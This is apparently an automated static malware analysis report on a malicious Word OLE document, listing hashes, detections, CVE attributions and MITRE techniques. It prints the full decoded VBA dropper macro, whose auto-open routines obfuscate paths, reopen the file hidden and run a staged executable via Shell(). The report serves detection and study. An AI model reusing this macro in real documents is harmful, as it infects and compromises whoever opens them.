Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dbc13c0204787949…

MALICIOUS

Office (OLE)

145.0 KB Created: 2016-04-20 08:08:00 Authoring application: Microsoft Office Word First seen: 2018-08-05
MD5: 1425193a9fdb6da5c4367c36fbb616f6 SHA-1: f03216c9eb125f452c01cd1829aee29166f6c50d SHA-256: dbc13c0204787949de031b06bbdc01f97291a312afd8d79d0aecb20dab96bf9c
554 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Microsoft Word document containing VBA macros. The AutoOpen macro triggers the execution of a second-stage PE executable, embedded within the document at offset 0x604C. The VBA script also attempts to construct temporary file paths such as 'C:\Windows\Temp\fhew.rtf' and 'C:\Windows\Temp\hrbs.rtf' for staging the payload. The presence of a Shell() call and the embedded executable strongly indicate exploitation for client execution and ingress tool transfer.

Heuristics 17

  • CVE-2008-2244 — Microsoft Word record-parsing payload critical CVE likely CVE_2008_2244
    Word OLE document has normal small WordDocument/table streams, a large unallocated OLE slack region, and an executable or resolver shellcode payload in that slack. This is the static shape of the MS08-042 Word record-parsing exploit family tracked as CVE-2008-2244.
  • OLE with Ole10Native — possible CVE-2026-21514 exploitation high CVE likely CVE_2026_21514
    Document contains a Word OLE object with Ole10Native plus executable, PE, or risky remote-link indicators. CVE-2026-21514 exploits OLE metadata validation; this stronger structure is treated as likely exploitation.
  • ClamAV: Doc.Macro.ObfuscatedChr-6203136-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.ObfuscatedChr-6203136-0
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim rkw As Variant
rkw = Shell(fje, 0)
End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    BFYHJQW = "j1h2jg1hj2"
Set yGvdgw = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
yGvdgw.Visible = ggfdf
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
    BHJAWD = "12j3k1j2h" & "asjdhgywq"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    HgrfFvsw
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
Sub Auto_Open()
    Hehebhd
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    TTGDFW = BygeSw(3 + 90 + rtr)
DFFVFE = Environ$(HGFFD) + TTGDFW
JIEKR = "." & "tmp"
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 148,480 bytes but its declared streams total only 42,046 bytes — 106,434 bytes (72%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1851 bytes
SHA-256: bf5f230d7ff783da7d8f0de12161a311cdf0bb521ed72dad41ffe1e880b7d83f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    BHJAWD = "12j3k1j2h" & "asjdhgywq"
    HgrfFvsw
End Sub
Sub Workbook_Open()
    HgrfFvsw
End Sub
Sub HgrfFvsw()
    Hehebhd
End Sub
Sub Hehebhd()
Dim ggfdf As Boolean, HGYW As String, rtr As Integer
rtr = -24 + 23
HGFFD = "T" & "EM" & ""
HGFFD = HGFFD & "P"
ggfdf = False
On Error Resume Next
Dim WOIEW As String
TTGDFW = BygeSw(3 + 90 + rtr)
DFFVFE = Environ$(HGFFD) + TTGDFW
JIEKR = "." & "tmp"
FFDRRF = "" & ".rtf"
LQWDO = DFFVFE

FFFNNNF = LQWDO + "fhew" + FFDRRF
SSHHDD = DFFVFE & "hrbs" + FFDRRF
WOIEW = DFFVFE & "" & "t4" & JIEKR

VffGghw (FFFNNNF)
VffGghw (SSHHDD)

Module1.Lhgeg (2)
BHJASD = Chr(101 + 9)
BFYHJQW = "j1h2jg1hj2"
Set yGvdgw = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
yGvdgw.Visible = ggfdf
yGvdgw.Documents.Open (FFFNNNF)
Module1.Lhgeg (2)
HYUASGD = Module1.Fatar(WOIEW)
Module1.Lhgeg (3)
yGvdgw.Quit
Set yGvdgw = Nothing
End Sub
Public Function BygeSw(wbrw As Integer)
    BygeSw = Chr(wbrw)
End Function
Public Function VffGghw(ghe As String)
    ActiveDocument.SaveAs FileName:=ghe, FileFormat:=6
End Function
Public Function Ftwfvs()
    Ftwfvs = "T" & "EM"
End Function
Sub Auto_Open()
    Hehebhd
End Sub




Attribute VB_Name = "Module1"
Sub Lhgeg(Jbfw As Long)
ghe = 88
Dim Bhrwq As Long, Nhdw As Long
Nhdw = Jbfw + Timer
Bhrwq = Nhdw

Do While Timer < Bhrwq
gdye = 32 * 1 * 1 * 3 * 4 * 1 * 3
Loop
End Sub
Public Function Fatar(fje As String)
Dim rkw As Variant
rkw = Shell(fje, 0)
End Function
embedded_office_0000604c.exe embedded-pe Office MZ+PE at offset 0x604C 123828 bytes
SHA-256: df141af789ecda35de26f30ec804f428ec3cbf813965c6f1c9370bc089eebed9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.